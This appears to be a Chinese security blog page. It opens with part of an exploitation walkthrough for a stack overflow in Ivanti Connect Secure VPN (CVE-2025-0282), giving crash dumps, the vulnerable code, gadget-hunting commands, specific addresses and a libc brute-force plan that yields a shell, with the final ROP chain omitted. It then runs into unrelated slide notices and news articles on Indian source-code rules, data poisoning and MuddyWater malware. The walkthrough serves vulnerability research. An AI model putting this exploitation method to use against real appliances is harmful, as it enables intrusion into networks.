> 0380:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0390:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0400:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0410:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0420:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0430:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0440:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0450:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0460:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0470:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0480:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0490:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0500:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0510:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0520:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0530:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0540:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0550:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0560:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0570:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0580:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0590:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0600:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0610:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0620:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0630:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0640:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0650:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0660:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0670:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0680:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0690:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 0a  |AAAAAAAAAAAAAAA.|
> 06a0:  00                                                |.|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 05  00 00 00 14 00 00 01 f6  |..U.............|
< 0010:  00 0a 4c 01                                       |..L.|
> 0000:  00 00 55 97 00 00 00 06  00 00 00 22 00 00 00 02  |..U........"....|
> 0010:  00 0a 4c 01 02 01 00 0e  01 61 6e 6f 6e 79 6d 6f  |..L......anonymo|
> 0020:  75 73                                             |us|

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的 崩溃现场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Program received signal SIGSEGV, Segmentation fault.
eax            0x0      0
edi            0xff856370       -8035472
esi            0x1      1
edx            0xf1a8d004       -240594940
=> 0xf4f73d1d <free+45>:        mov    esi,DWORD PTR [ecx-0x4]
0xf4f73d20 <free+48>:        lea    edx,[ecx-0x8]
0xf4f73d23 <free+51>:        test   esi,0x2
0xf4f73d29 <free+57>:        jne    0xf4f73d58 <free+104>
0xf4f73d2b <free+59>:        and    esi,0x4
0xff856110:     0x56723200      0x566dd509      0x566ecbc7      0xf4f73cf8
0xff856120:     0xf7a26000      0x00000001      0xff856370      0xf6d6535f
0xff856130:     0x41414141      0x00000032      0xf7f3abc9      0x5671d000
0xff856140:     0x5671d000      0x56723200      0x00000001      0x5669a4e8
0xff856150:     0xff856370      0x00000289      0x566ed87c      0x566d7c7f
0xf4f73d1d in free () from /lib/libc.so.6
(gdb) bt
#0  0xf4f73d1d in free () from /lib/libc.so.6
#1  0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#2  0x5669a4e8 in ?? ()
#3  0x5669ae7b in ?? ()
#4  0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#5  0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#6  0x56696e48 in ?? ()
#7  0x566133d5 in ?? ()
#8  0x56614446 in ?? ()
#9  0x56614d40 in ?? ()
#10 0xf6c4942e in ?? () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#12 0x5663f477 in ?? ()
#13 0x565e0a37 in main ()
(gdb) p/x 0x5669a4e8  - $base
$1 = 0xe54e8
(gdb) i er ecx
Undefined info command: "er ecx".  Try "help info".
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb)
1
2
3
4
5
6
7
void __cdecl EPMessage::~EPMessage(EPMessage *this)
{
DSHash::~DSHash((EPMessage *)((char *)this + 4));
}

0xf6d0fb31 in DSHash::~DSHash() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memset(dest, 0, sizeof(dest));
strncpy(dest, (const char *)a1->clientCapabilities, v23);// overflow
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
*v26 = 0;
na = 46;
(*(void (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1->gap0 + 72))(a1, &v57);

在溢出之后有一个函数指针的调用

1
2
3
4
5
6
7
8
9
mov     edx, [esp+0A0Ch+var_9E0]
mov     eax, [esp+2576]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
; 395:     na = 46;
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]

这里是一个this 指针调用虚表函数的功能， 由于虚表指针在栈上， 这个栈是可以被我们覆盖的， 所以我们大概率就是需要找到一个虚表指针，他指向的虚表函数表， 这个表 +0x48 能有合适的gadget， 我一开始的思路是去找所有的虚表定义，看看有没有合适的， 可惜我没有找到， 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2]，观察这个作者的 A Gadget From The Gods ， 最后我用的大概率也是做这个找到的这个gadget
image.png

在这文章[2]中作者提到了他的 gadget 的具体汇编，第一句是mov ebx, 0xfffffff0 ， 第二句是 add esp, 0x204C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------+

于是我采用了一个最笨的方法， 将所有引用的 lib 库全部objdump 一遍， 然后去grep

1
2
3
objdump --x86-asm-syntax=intel -D  $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt

cat ibdsplibs.txt|grep -e "add\tesp, 0x204c"

在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ，意料之外的是这里具体居然是个 swithc table 表

image.png

按照代码逻辑， 我们只要反着算就行， 例如我们这里最后 vtable 的地址是 0x11D8940， 那么就需要有一个地址存储这个指针， 直接在 ida 的binary search 里搜索

image.png

image.png

找到一个这个， 所以我们最后要覆盖的this 指针地址为 0x00934F4C， 后面正常 rop 就行， 这里提一句 libc的随机化是 0xfff 位， 多核启动的时候会有一个主进程不断的fork子进程，因此我们爆破 0xfff次就一定能成功执行

拿到的权限是 nr 权限

bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$

完整的ROP链也留给读者实现了。

  1. 1.OpenConnect https://www.infradead.org/openconnect/download.html↩
  2. 2.https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/↩

议题分享：Vigor2960 Memoirs \nPursuit of the Elusive 0day & 1day


Writeup

, ,

…

前言

2024年9月因为360车联网安全研究院副院长曹颖杰的关系，受到邀请去了长沙信息物理系统安全技术沙龙水了一个议题，主要是之前对 draytek 2960的漏洞挖掘回顾和一个囤了很久，但是后面被修了的一个漏洞部分详情披露。（PS 这个洞的逻辑后来我出成了华为CTF的某个Pwn题）

公开 slide

这里公开 PPT ， 感兴趣的同学可以自行阅读

说起来这个洞，之前就已经有个大哥在他博客也提到了，还是太容易被发现了。另外感叹一句长沙还是挺好玩的。

议题分享： 企业设备安全设备漏洞分析与利用


Writeup

, , , , ,

…

前言

这个议题内容在 2024年10月10日的华为 “安全光网”网络安全技术论坛和 2024年11月9日的先知沙龙-北京站分享过。

当时北京沙龙为了篇幅砍了很多 slide 的页数， 这次分享是比较完整的 95 页（ 做太多了…), 主要的内容是从各个类型的安全设备切入，分析他们的攻击面以及一些公开的 1day的漏洞分析， 主要大纲如下：

  1. 安全邮件网关
  2. 网关
  3. 防火墙
  4. VPN设备

……

公开 slide

这里公开 slide ， 感兴趣的同学可以自行阅读

网络威胁加剧背景下，印度要求提交智能手机源代码用于安全审计

在国家安全诉求与企业保密权的拉锯战日益升级之际，印度最新提出的获取智能手机源代码的要求，在科技巨头间引发轩然大波。这项于近日公布的提案，强制要求苹果、三星等企业向政府实验室提交专有源代码以供审查，表面上是为了在这个全球最大的数字市场之一打击日益猖獗的网络威胁。但长期以来坚守用户隐私立场的苹果公司，此次却坚决抵制，这一表态或将重塑全球企业在新兴经济体应对监管压力的策略。
印度推出这一举措的背景是，该国网络诈骗与数据泄露事件激增，而智能手机用户数量已突破 10 亿大关。纳伦德拉・莫迪政府将该倡议定位为保护公民数据的关键举措，要求制造商不仅要共享源代码，还需就重大软件更新向当局报备，并留存详细的应用活动日志。这并非印度首次动用监管权力 —— 此前要求加密通信预留后门的诉求也曾遭遇类似抵制 —— 但此次源代码强制提交的规定，标志着监管力度的大幅升级，可能导致企业视为核心机密的知识产权面临泄露风险。
据近期报道，该提案还包含多项要求，例如简化应用卸载流程、限制后台相机调用权限等，旨在赋予用户更多控制权的同时，方便政府实施监管。不过，行业内部人士私下透露，提案的真实意图可能指向更广泛的监控能力，这一担忧也得到了硅谷高管私下简报的印证。正如一份尖锐分析所指出的，苹果公司的立场凸显了企业对所谓 “监管越界” 行为的集体反抗。

科技巨头联合抵制源代码披露

苹果的抵制并非个例，三星、小米等其他厂商也表达了类似担忧，称此举可能导致知识产权被盗，扼杀创新活力。据路透社 2026 年 1 月 11 日的独家报道，该计划是莫迪政府整体安全改革的一部分，目标直指全球第二大智能手机市场 —— 印度去年的诈骗案件增幅高达 30%。报道强调，此类要求可能导致软件更新延迟，因为企业需先获得印度官员的批准，这可能会阻碍安全补丁的及时推送。
社交平台 X（前身为推特）上的公众反馈呈现两极分化，用户围绕隐私影响展开激烈辩论。一则来自科技爱好者的帖子发出 “监控国家警报” 的警告，而另一些用户则赞赏政府打击网络犯罪的积极态度。截至 2026 年 1 月 12 日的实时搜索结果显示，这些在线讨论反映出民众的分歧：部分人认为这是必要的保护措施，另一些人则担忧数字自由遭到侵蚀。苹果公司向来对类似要求持拒绝态度 —— 从 2014-2016 年中国的相关诉求，到美国执法部门的调查 —— 使其在这类博弈中经验丰富，常常以其生态系统的封闭性作为防护屏障。
深入核心信源来看，苹果内幕网（AppleInsider）2026 年 1 月 11 日的一篇报道直言不讳地指出：“印度再次试图通过要求获取 iOS 源代码来胁迫苹果，但这行不通。” 该报道详细说明，与更开放的系统不同，苹果 iOS 依赖专有源代码来维持其备受赞誉的安全特性，例如端到端加密和生物识别防护。专家认为，提交这些源代码可能会制造安全漏洞，一旦泄露，不仅在印度，全球范围内的恶意攻击者都可能加以利用。

历史回响与全球先例

这并非苹果首次与印度发生此类冲突。就在上个月（2025 年 12 月），该公司拒绝了在 iPhone 上预装政府推出的 “Sanchar Saathi” 应用的强制要求，理由是存在隐私风险。当时社交平台 X 上的帖子（包括一位知名科技分析师提及苹果对用户数据安全的担忧）凸显了其抵制的一贯性。这款应用原本用于追踪丢失设备和打击垃圾短信，但批评者认为它可能成为监控的 “特洛伊木马”，其不可删除的特性也引发了广泛警惕。
在全球范围内，类似案例屡见不鲜。2016 年苹果与美国联邦调查局（FBI）就解锁恐怖分子 iPhone 的对峙事件，为隐私保护树立了标杆，影响了企业对政府诉求的回应方式。在印度，当前提案是在 2021 年《个人数据保护法案》的基础上推进的，该法案曾试图要求数据本地化，但因表述模糊遭到抵制。匿名的行业消息人士表示，同意共享源代码可能会引发危险的多米诺骨牌效应，鼓励其他威权政权提出类似要求。
据《一周》杂志（The Week）2026 年 1 月 11 日报道，三星也对此表示反对，强调强制要求更新报备可能会增加成本、减缓创新速度。这家在印度占据重要市场份额的韩国巨头认为，此类规定缺乏国际先例，可能导致印度脱离全球科技标准。社交平台 X 的讨论中提到，小米的反对则聚焦于强制日志留存可能导致的电池耗电问题，凸显了制造商面临的实际操作难题。

印度科技繁荣背后的经济赌注

印度智能手机市场年估值超过 400 亿美元，是一块诱人的 “蛋糕”，企业难以忽视。苹果公司已加大在印度的制造力度，在地缘政治紧张局势下将生产从中国转移，其位于泰米尔纳德邦和卡纳塔克邦的工厂不仅供应印度本土市场，还承担出口任务。然而，这些投资附带了条件：印度政府通过 “生产关联激励计划”（Production Linked Incentive）提供补贴等优惠政策，实则将合规性与持续享受优惠挂钩。
拒绝配合将面临风险。分析师推测，持续抵制可能导致关税提高、进口限制，甚至部分机型被禁，这让人联想到 2020 年印度下架中国应用的冲突事件。《金融快报》（Financial Express）2026 年 1 月 11 日的报道指出，苹果公司过去曾拒绝过中国和美国的类似要求，印度可能会遭遇同样的拒绝。不过，莫迪政府在民族主义情绪的支撑下，可能会进一步强硬表态，将这些规定定位为对抗外国科技霸权、维护国家主权的举措。
社交平台 X 上，印度用户的情绪倾向于支持本土控制权，一则热门帖子质疑外国企业为何抵制 “基本的安全检查”。这种公众支持可能会鼓舞监管机构，但国际贸易观察人士警告称，如果这些规定歧视进口产品，可能会引发世界贸易组织（WTO）的相关诉讼。

隐私与安全的核心困境

这场争议的核心是一场理念冲突：如何平衡国家安全与个人隐私。包括政府发言人在内的支持者表示，去年网络钓鱼诈骗从印度账户窃取了数十亿美元，此类威胁正不断升级。通过获取源代码，实验室理论上可以审计后门程序或安全漏洞，构建更安全的生态系统。
然而，批评者谴责这是一条危险的滑坡路。苹果内幕网的报道强调，源代码是 iOS 的 “DNA”，包含面容 ID（Face ID）、安全飞地（Secure Enclave）等功能的核心算法。共享源代码可能导致竞争对手或黑客进行逆向工程，路透社的分析也重申了这一点。此外，提案要求留存 12 个月的活动日志，这引发了大规模监控的担忧，可能违反印度最高法院关于隐私是基本权利的裁决。
行业内部人士在非公开对话中预测，后续将展开谈判。苹果可能会提出替代方案，例如第三方审计或增强本地数据中心建设，而不交出核心知识产权。据《一周》杂志报道，三星的抵制措施包括通过印度移动与电子协会（India Cellular and Electronics Association）等行业组织进行游说，该协会已指出这些规定可能会阻碍外国投资。

对全球科技政策的潜在影响

如果印度得逞，可能会激励巴西、印度尼西亚等市场效仿推出类似政策，将全球科技环境分割成多个监管孤岛。苹果生态系统以统一性为核心，将受到最大冲击，被迫推出地区专属的代码变体，增加开发复杂性。
相反，如果苹果坚决拒绝，可能会强化其 “隐私捍卫者” 的品牌形象，吸引对政府越界行为保持警惕的用户。全球隐私倡导者在社交平台 X 上对这一立场表示赞赏，一则帖子称其为 “数字权利的胜利”。不过，在印度市场，平价安卓设备占据主导地位，苹果的高端定位使其影响力有限 —— 据最新估算，iPhone 在印度的市场份额仅为 3%-4%。
《印度教徒报》（The Hindu）2026 年 1 月 11 日的报道捕捉到了反对者的核心观点，指出科技企业在数据泄露事件频发的背景下，对知识产权风险的担忧日益加剧。随着苹果高管与印度官员即将举行会面，相关讨论将进一步展开，此次事件的结果将考验国家主权诉求与企业自主权的边界。

探索前进之路

展望未来，专家预计提案将进行修订以软化立场 —— 可能会限制获取经过编辑的源代码版本，或仅允许独立验证机构参与审查。印度过往有灵活调整的先例：例如 2023 年的电信法案，在行业强烈反对后，部分加密相关强制要求被取消。
对苹果而言，其策略将涉及法律和外交渠道，可能会援引知识产权保护相关的国际协议。《今日印度》（India Today）2026 年 1 月 11 日的报道详细介绍了政府在新安全规则框架下推动获取源代码的相关举措。不过，鉴于莫迪 “数字印度” 愿景的重要性，妥协似乎不可避免。
归根结底，这一事件凸显了在数据即权力的世界中存在的紧张关系。随着科技企业与政府争夺控制权，用户可能是最大的受益者，也可能是最大的受害者 —— 这取决于哪一方先做出让步。社交平台 X 上每天都有新的讨论出现，相关话题持续演变，但苹果坚决说 “不” 的态度，可能会在印度之外产生深远影响。

 


毒盾：数据投毒如何重塑 2026 年人工智能安全格局

在飞速发展的人工智能领域，一种全新的防御策略正受到研究人员与企业的广泛关注 ——数据投毒。这种技术通过刻意篡改数据集，破坏那些可能窃取或爬取信息的未授权人工智能模型。近期的技术进展表明，它已不再是单纯的理论概念，而是打击数据盗窃的实用工具。例如，“毒泉计划”（Poison Fountain）等倡议正联合行业内部人士污染知识图谱，使其对掠夺性人工智能系统完全失效。
数据投毒的运作机制简洁却巧妙。通过向数据集注入误导性或错误信息，数据创建者能确保任何基于被盗数据训练的人工智能，都会输出不可靠的结果。这种方法形式多样，从人工修改到自动嵌入隐藏 “毒剂” 的系统均有应用。而授权用户可凭借密钥过滤这些 “污染物”，保证数据在合法用途中仍保持完整性。这种双重设计使其成为知识产权保护的理想选择 —— 毕竟在这个人工智能模型海量吞噬网络数据的时代，知识产权防护迫在眉睫。
随着人工智能技术的进阶，数据泄露风险也急剧升级。黑客与无良企业可能窃取专有信息训练竞争模型，侵蚀企业的竞争优势。数据投毒应运而生，成为扭转局势的反击手段，让潜在窃贼自食恶果。这一主动防御姿态，与保护数字资产的广泛努力相契合，也呼应了网络安全领域对大型语言模型脆弱性的担忧。

数字防御领域的新兴战术

一个关键案例来自近期研究：科学家提出将自动化数据投毒作为抵御人工智能盗窃的 “堡垒”。据《信息世界》（InfoWorld）报道，这套系统能让被盗数据对黑客完全失效，同时为持有合法解密工具的用户保留可用性。其核心是嵌入细微扭曲信息，使人工智能模型在训练受污染数据后出现幻觉或生成错误响应。
这一创新是对早期理念的升级 —— 例如《麻省理工科技评论》2021 年一篇文章曾倡导通过公众参与式数据污染，阻止科技巨头的监控行为。如今该概念已大幅演进，融入了能自动完成投毒流程的复杂算法。在人工智能模型日益普及的当下，这类策略对于掌控敏感信息至关重要。
行业采纳速度正在加快。据《寄存器》（The Register）报道，研究人员正积极对被盗数据实施投毒，以干扰人工智能训练。这不仅能抵御即时威胁，还能通过提高数据利用的成本与复杂性，遏制未来的违规行为。企业已开始将这些技术整合到数据管理协议中，将其视为多层次安全策略的核心环节。

对人工智能发展的连锁影响

数据投毒的意义远不止于防御。它可能从根本上改变人工智能模型的构建与训练方式。若得到广泛应用，可能会迫使开发者寻求经过验证的纯净数据集，进而减缓生成式人工智能的无序扩张。这一转变与当下关于数据伦理获取的争议高度相关 —— 投毒数据就像沉默的边界守护者，规范着数据使用的底线。
批评者认为，尽管数据投毒效果显著，但也引发了伦理争议。无差别污染可能会意外损害科研、教育等良性人工智能应用。不过支持者反驳称，更大的风险在于无节制的数据爬取，这会严重侵犯创作者权益。正如《寄存器》对 “毒泉计划” 的报道所强调的，平衡这些担忧是关键 —— 该计划正联合盟友对抗人工智能巨头的垄断行为。
社交平台 X 上的舆论反映出人们对这类技术的认知不断提升。用户帖子纷纷强调隐私导向技术的变革潜力，预测到 2026 年，此类措施可能会重新定义网络防御格局。其中一则讨论提到，自主人工智能攻击者的出现催生了大量创新反击手段，凸显了数据投毒这类工具的紧迫性。

近期泄露事件中的实际案例

数据投毒的现实应用已开始浮现。在数据敏感性极高的制药行业，企业正探索通过投毒保护研究数据集。一位网络安全分析师在 X 上发帖指出，人工智能驱动的数据滥用风险被严重低估，这与行业对监管压力和暴露风险的普遍警示相呼应。
同样，在 Web3 和去中心化技术领域，数据完整性至关重要。X 用户的观点预测，隐私代币将迎来显著增长，这意味着投毒技术可能与区块链结合，实现更强的安全性。正如相关帖子所预测的，这种融合可能构建出抗篡改的稳健生态系统，而合规性将成为 2026 年的前沿战场。
历史案例为这一叙事增添了深度。据《生活科学》（Live Science）报道，考古发现的 6 万年前毒箭表明，人类长期以来就将毒素用于防御。现代数据投毒正是这种古老智慧的数字化改编，使其适配于数字战争。

挑战与未来展望

实施数据投毒并非毫无阻碍。技术层面的挑战包括：确保 “毒剂” 难以被检测却效果显著，且能在海量数据集上实现规模化应用。此外，法律框架进展滞后，若投毒数据造成意外损害，责任界定问题悬而未决。《首席安全官在线》（CSO Online）的专家强调，需要设计能保障数据可用性的密钥，这凸显了其中的平衡之道。
国际视角存在差异。在欧盟等数据法规严格的地区，数据投毒可作为《通用数据保护条例》（GDPR）等法规的补充。全球用户在 X 上讨论称，Web3 对所有权和去中心化的强调，放大了这类防御技术的作用，并预测相关技术市场将迎来爆发式增长。
展望未来，数据投毒与量子计算等新兴技术的融合，可能会提升其效能。随着人工智能的演进，防护手段也必须与时俱进，而数据投毒有望成为标准实践。据《科技雷达》（TechRadar）报道，被投毒的知识图谱会导致大型语言模型产生幻觉，这一战术可能会得到广泛应用。

引领潮流的创新者

核心参与者正在推动这一变革。正如《寄存器》的存档讨论所报道的，“毒泉计划” 正动员各方力量反对当前的人工智能范式。通过鼓励大规模参与，它让防御变得民主化，使个人和小型机构有能力对抗科技巨头。
企业层面的冲突也凸显了其中的利害关系。据《密码经济学家》（Cryptonomist）报道，CEA 工业公司与 YZi 实验室之间的治理争端，围绕 “毒丸计划” 展开 —— 这与数据投毒在防范恶意收购中的作用异曲同工。这一金融领域的隐喻，凸显了 “投毒” 概念的广泛适用性。
在游戏和金融科技领域，X 上的帖子强调了 Web3 的增长，而高效能和去中心化经济将受益于安全的数据实践。预测显示，到 2026 年，数据安全领域的专业岗位将激增，其中将包含数据投毒相关专长。

更广泛的社会影响

数据投毒的社会意义深远。通过遏制监控行为，它在这个日益受监视的世界中维护了隐私。它还能平衡竞争环境，让小型创新者无需担心成果被侵占，从而蓬勃发展。
教育与认知普及至关重要。相关技术培训倡议有助于构建更具韧性的数字社会。正如 X 上一则帖子所指出的，医疗领域的下一个重大突破可能源于 “民间创新”—— 这与数字领域中 “天然毒素”（现实防御）和 “数字毒素”（数据投毒）的呼应异曲同工。
归根结底，数据投毒代表着一种范式转变，将脆弱性转化为优势。随着威胁不断增多，这面 “毒盾” 很可能定义人工智能安全的未来，确保创新在伦理框架内有序推进。

企业中的战略整合

企业正围绕这一工具制定战略。将数据投毒整合到云服务中可能会成为常态，服务提供商将其作为一项功能推出。这与 2026 年国际消费电子展（CES 2026）上的发布趋势相契合 —— 例如 T3 公司就强调了人工智能更新中的安全重点。
在关键行业（如安全指南中提及的领域），数据投毒在强化防御的同时，避免为违规活动提供支持。这是一种微妙的平衡，在推进防护的同时坚守合规边界。
X 上关于网络军备竞赛的讨论预测，人工智能将成为主要攻击者，因此需要先进的反击手段。数据投毒恰好契合这一叙事，未来可能与 Bittensor 等网络融合，实现去中心化的人工智能安全防护。

不断演变的威胁与适应性响应

威胁正不断进化，人工智能能以机器速度策划攻击活动。数据投毒也在通过进化自身方法来适应 —— 例如可能融入实时篡改技术。
正如 X 上关于 Web3 预测的帖子所建议的，全球合作可能会使相关实践标准化。合规领域将需要数据投毒这类创新解决方案。
总而言之，发展轨迹指向广泛采用，2026 年将成为这项技术走向成熟的关键一年。

被称为泥水坑（MuddyWater） 的伊朗威胁行为体，近期针对中东地区的外交、海事、金融以及电信领域机构发起鱼叉式钓鱼攻击活动，所使用的攻击载荷是一款基于 Rust 语言开发的植入程序，代号为锈水（RustyWater） 。
“该攻击活动通过图标欺骗和恶意 Word 文档来投递这款 Rust 植入程序，此程序具备异步命令与控制（C2）、反分析、注册表持久化，以及模块化的入侵后功能扩展能力。” 云安实验室（CloudSEK）研究员普拉杰沃尔・阿瓦斯蒂（Prajwal Awasthi）在本周发布的一份报告中指出。
这一最新动向，体现出泥水坑组织攻击手段的持续演变：该组织已逐步减少对合法远程访问软件的依赖，不再将其作为入侵后工具，转而构建起多样化的定制恶意软件武器库，其中包含 “凤凰（Phoenix）”“UDP 匪徒（UDPGangster）”“虫眠（BugSleep，又称泥腐木马）” 以及 “泥蝰（MuddyViper）” 等多款工具。
该黑客组织还有多个追踪代号，包括芒果沙暴（Mango Sandstorm） 、静态小猫（Static Kitten） 和TA450 ，经研判隶属于伊朗情报与安全部（MOIS），其活跃历史至少可追溯至 2017 年。
锈水木马的攻击链流程十分明确：攻击者发送伪装成网络安全指南的鱼叉式钓鱼邮件，邮件附件为一个 Microsoft Word 文档。受害者打开文档后，会被诱导点击 “启用内容”，这一操作会触发恶意 VBA 宏的执行，进而完成 Rust 植入程序二进制文件的部署。
这款植入程序也被称作射手远程访问木马（Archer RAT） 和RUSTRIC ，其功能包括：收集受害主机信息、检测已安装的安全软件、通过写入 Windows 注册表项实现持久化驻留，同时与命令与控制（C2）服务器（域名：nomercys.it [.] com）建立连接，以此支持文件操作与命令执行等后续攻击行为。
需要重点关注的是，上月末赛科特实验室（Seqrite Labs）曾通报过RUSTRIC 的相关攻击活动：该恶意程序被用于针对以色列的信息技术（IT）企业、托管服务提供商（MSP）、人力资源公司以及软件开发企业发起攻击。赛科特实验室已将该攻击活动标记为UNG0801 和图标猫行动（Operation IconCat） ，并持续开展追踪分析。
